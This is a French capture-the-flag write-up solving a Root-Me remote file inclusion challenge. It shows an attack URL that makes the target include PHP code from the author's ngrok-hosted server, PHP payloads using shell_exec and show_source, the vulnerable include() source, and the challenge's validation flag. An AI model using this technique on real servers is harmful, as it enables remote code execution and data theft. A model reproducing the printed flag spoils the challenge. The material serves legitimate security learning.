Aller au contenu

Remote File Inclusion

Lien du CTF.

Analyse du site

Lorsque l'on clique sur 'Français' ou 'Anglais', on peut voir que fr ou en sont passé en paramétres dans l'url :

click_fr.png

On comprend rapidement que la faille se trouve dans l'URL.

Compromission

En changeant le paramétres fr en toto, nous générons une erreur et otenons le chemin de l'index.php mais également que le site rajoute l'extension _lang.php :

first_test.png

Le chemin d'accès à l'index.php est le suivant : /challenge/web-serveur/ch13/index.php

Essayons d'éxécuter du code. Création d'un script shell_exec. Je vais nommé mon fichier index_lang.php :

<?php
echo shell_exec('whoami');
?>

Je vais utiliser le service ngrok permettant de lier un un serveur local sur mon PC à une URL accessible depuis internet.

Mise en place du site malveillant dans l'URL : http://challenge01.root-me.org/web-serveur/ch13/?lang=https://6e0c-86-237-52-45.eu.ngrok.io/index

Le script à fonctionné, cependant, il est interprété sur ma machine et non sur le serveur distant :

sec_test.png

Pour controuner ce problème nous allons rajouter un '?' à la fin de l'URL ce qui va permerttre de considèrer ce qui suit sera interpété comme un paramètre. Il faut également renommé le fichier en '.txt' afin qu'il ne soit plus interprété sur notre serveur mais sur le serveur distant.

Ce qui nous donne ceci : http://challenge01.root-me.org/web-serveur/ch13/?lang=https://6e0c-86-237-52-45.eu.ngrok.io/index_lang.txt?

Le code est enfin éxécuter sur le serveur distant, cependant, la fonction shell_exec est désactivé.

third_test.png

Essayons de faire un script php qui fait ressortir cet index. La fonction show_source permet de génèrer un fichier avec la syntaxe PHP en surbrillance. La syntaxe est mise en évidence à l'aide de balises HTML :

<?php 
echo show_source('/challenge/web-serveur/ch13/index.php') ; 
?>

congratz.png

Nous avons enfin pu récupérer l'index, et ainsi le flag : R3m0t3_iS_r3aL1y_3v1l

Code source

<?php

/*

Congratz!

Le mot de passe de validation est : 
The validation password is : 

R3m0t3_iS_r3aL1y_3v1l

*/

$language="en";
if ( isset($_GET["lang"]) ){
    $language = $_GET["lang"];
}
include($language."_lang.php");
?>

<html>
<head><title>Remote File Inclusion</title></head>

<body>

<h3>
    <?php echo $lang['lang']; ?> : 
    <a href="?lang=fr" style="text-decoration:<?php ($language=="fr")?print "underline":print "none"; ?>">Français</a>
    &nbsp;|&nbsp;
    <a href="?lang=en" style="text-decoration:<?php ($language=="en")?print "underline":print "none"; ?>">English</a>
</h3>

<p><?php echo $lang["welcome"]; ?></p>

</body>
</html>